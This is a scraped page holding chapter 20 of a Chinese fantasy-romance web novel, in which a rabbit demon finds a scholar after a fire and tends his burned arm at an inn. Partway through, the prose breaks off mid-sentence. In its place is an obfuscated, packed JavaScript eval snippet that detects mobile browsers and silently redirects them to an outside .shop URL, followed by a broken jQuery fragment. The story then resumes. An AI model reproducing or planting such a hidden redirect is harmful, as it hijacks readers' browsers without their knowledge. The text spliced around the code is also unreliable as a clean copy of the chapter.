文趣网 > 其他小说 > 被兔始乱终弃后 > 20. 第 20 章
    自从迈入火中,顾岐眼前就笼罩了一层血雾,迟迟没有消退,到现在他才恍然惊觉。

    天是红的,脚下踩的地是红的,方才小繁含着泪的一眼也像淬火的瞬间,全部蒙着红色。

    如今火势渐弱,才发现原来不只是火光照耀。

    是他自己惶恐。

    白若繁被他按着,衣上的浓烟气味熏得她偏过头,看起来眼圈更红了。

    “咳咳咳咳!”

    她捂住脸,实在没忍住咳嗽。

    顾岐如梦方醒,连忙松开,匆匆改为牵住她的手,一双掌心在垂落的衣袖下重叠。

    “你……你是刚出门吗?”

    他小心翼翼地问,浑身血液仍然在汩汩流动,那声音他自己都能听得见,话音也微微颤抖。

    “是小孩的娘找到了,我给他送回去。”白若繁半真半假地解释,“没想到耽误了一会儿。”

    她都不敢想,要是自己跑得不够快,谁来拉住这个人。

    凡人果然很容易被养死,看着那么有照顾经验的人,还没有吃了吐、吐了吃的小云骁耐活。

    她揪住顾岐的衣袖,生怕他突然又想不开。

    “耽误了好。”

    顾岐喃喃,幸好耽误了。

    “屋里有什么要紧的东西吗?”白若繁问,不知道身外之物到底有什么值得如此紧张的。

    “难道是你把地契忘记了?”她皱眉,“但是行李里我没看到什么纸呀,屋里只有几套衣裳。”

    房中的银两她全部取出来了,随身携带,用来付钱。怕就怕云骁豹子大开口,防他把整个食店都吞掉。

    还好还好,最后是姐姐付的钱。

    “那些都带着。”顾岐哑声,“我以为你还在里面。”

    “……”

    白若繁眨眨眼,一时说不出话。

    原来是在担心她啊。

    顾岐不知道她是身手敏捷的兔妖,只知道她还要带着个小婴儿,这么想倒也有道理。

    她很领情,十分善解人意地揽紧他没受伤的那只手臂,尽量和人贴得紧紧的,挨在一起。

    兔害怕担忧的时候,靠得越近越好,心就不会慌了,这是白若繁的生存之道。

    顾岐被她热切地挤着,出了些汗,顺着下颌的线条没入衣领。

    他这才反应过来,不动声色地离远了些。

    赶回来是星夜兼程,一定很狼狈,周身的气味也不好闻。

    “身上脏。”他说。

    实际上照白若繁看来,此人目前被烟熏火燎的,除了有点呛并无其他味道。

    不过他要说衣服上有灰烬印子,这倒确实。

    可是小兔哪里会在意这些,用了点力气就把他拽过来,挽着他继续往前走。

    今夜想早休息是不能指望了,只能再寻找合适的下榻之处。

    “你是不是告成功了?”

    白若繁想着,不能把姐姐远道而来送消息的事透露出去,那么就让他先说吧。

    “嗯。”

    顾岐靠在她身上,几乎是被小繁拖着、扛着走。

    没办法了。

    他方才惊惶太甚,四肢都有些脱力,实在是挣不过她。

    他不是故意要这样的。

    顾岐垂下眼睫。

    “现在各州县还在严查邪祟,清理干净估计还需要时间。”

    “真的可以啊!”白若繁啧啧称奇,没想到凡人的官居然能听这个劝,“你怎么做到的?”

    “科举考的最后一题加试,小繁知道如何做吗?”

    顾岐耐心解释:“先是以小见大,说出当下将要发生的异动;接着可以作推理,预言天灾或降福。”

    “我就是这样作答一遍而已。”

    只不过考场上没人会选择触霉头报灾,一般的作答,也就像祈求风调雨顺的祷词那样,讨个吉利得了。

    顾岐这次去拜访肃州刺史,却是告诉他治下将会有大灾降临。

    说这话没被轰出去,全靠前面接二连三如同鬼神把戏的“以小见大”,以及最终到县中找到的物证。

    这一趟还要仰赖如今的肃州长官,处事雷厉风行,否则顾岐不一定从本州入手,或许处理这些摧心邪祟还要更麻烦。

    天时地利人和,不能少去一项。

    “刺史请我在州衙旁的客馆暂住,过几日再去拜访。”

    顾岐已察觉到小兔在自己身上动手,这摸摸那摸摸,应是在找有无余钱,担心露宿街头。

    “你没被邪祟揍吧。”

    结果小繁原来压根就没认真听他后面说的话,一双手上下探查,是在找伤口。

    除了被火砸伤的手臂,其余地方并没有受伤。

    就是脉搏有些快。

    顾岐用力摇头,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17877269|211459||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    目光飘开去,恍惚间以为今夜绵绵大火如今已经烧到自己身上来了。

    心口烫得吓人,似乎在喊他将它剖开,取出来。

    他用全部的心神抑止这念头,表面看起来毫无异样。

    小繁对此无知无觉,乖乖跟着他走到了客馆门前。

    时间才刚入夜,清凌凌的月辉落在肩上,也让顾岐能看清她的侧脸。

    莹白的脸颊,曲线柔和的唇。

    等她察觉到扭头用眼神询问时,他才移开目光。

    在客馆依旧是两人一间房,只不过这次没了云骁在旁边捣乱。

    屋内空间也更小些,床榻的头尾很近,顾岐若是躺上去,要微微弓着背。

    白若繁让他先靠在床头,自己跑出去托人购买治疗灼伤的药膏。

    肃州省城内热闹得很,这些东西比在白岩县更加方便,她觉得自己只是稍等了一会儿就回来了。

    不过顾岐也许不是这么想的。

    他坐得端正,幽幽地望着她,看上去就像她要跑了似的。

    白若繁掀开他的衣袖,用布蘸着清水轻轻地擦。

    擦了一会儿,看着红肿的皮肤,她感到生气。

    本来她还没察觉到自己生气这一点的,直到顾岐用手指戳了一下她的脸颊。

    气鼓鼓的,河豚一样,脸颊上的软肉还沾着灰。

    白若繁哼了一声,她也不知道自己为什么会感到烦躁。

    明明当初顾岐也给自己处理过伤口,她现在算是知恩图报呀。

    可是他这个伤看着很痛,万一感染了呢?

    姐姐说,凡人很脆弱的,有时候处理得晚一些就要死了。

    顾岐拿过旁边的药,迅速地上好,将衣袖放下。

    他一时没有说话,白若繁正在心烦,两人就这样默默无言地沐浴结束,钻进被窝。

    ……然后在小小的床榻上不小心撞在一起,白若繁疑心自己的脑袋上起了个大包。

    这床实在是太拥挤了。

    挤得顾岐单手抱着她,让她覆在自己身上,才勉强使得地盘足够大,不至于把人踹下去。

    白若繁下意识双手撑住,不想碰到他的伤处。

    顾岐仰望着她,灰蓝的眼中满是笑意。

    白若繁觉得他在挑衅妖。

    好呀,现在他落到她手里了,就压在身下,根本跑不掉。